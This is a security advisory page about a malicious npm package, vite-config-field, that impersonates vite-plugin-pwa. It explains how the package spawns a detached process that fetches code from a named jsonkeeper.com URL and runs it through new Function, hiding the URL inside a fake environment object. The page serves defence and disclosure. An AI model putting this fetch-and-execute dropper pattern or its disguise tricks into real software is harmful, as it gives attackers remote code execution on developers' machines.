Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

vite-config-fieldnpm

Malicious code in vite-config-field (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5936
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vite-config-field

What this malware does

Package impersonates the legitimate vite-plugin-pwa (cloned description 'Zero-config PWA for Vite', repository vite-pwa/vite-config-field, funding link to github.com/sponsors/antfu, and exports matching the upstream API including VitePWA, cachePreset, and configField). When a consumer adds the plugin to their Vite config and the exported configField() runs, it invokes getUseropt() which calls child_process.spawn('node', ['./client/dev/reactopt.js',...], { detached: true, stdio: 'ignore' }) and unrefs the child. The spawned dist/client/dev/reactopt.js performs axios.get('https://www.jsonkeeper.com/b/HIECD', { headers: { 'x-secret-key': '_' } }), takes response.data.Cookie, and executes it with new Function('require', s)(require) — arbitrary remote code execution with full require capability, retrying 5 times. The C2 URL is disguised inside a fake process.env object (DEV_API_KEY/DEV_SECRET_KEY/DEV_SECRET_VALUE) to masquerade as environment-variable reads, and console output is silenced around the eval. The detached, stdio-ignored child means the dropper survives independent of the parent build/dev process.

Malicious versions

1 flagged
1.1.2

Indicators of compromise (SHA-256)

d52d1d84d7572baf6a74539864b64d5b5c803f828fc82a1dae4de2dfebdb986f

Frequently asked questions

No. vite-config-field on npm has been identified as a malicious package (version 1.1.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006846

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
vite-config-field (npm) malicious package — MAL-2026-5936 | O3 Security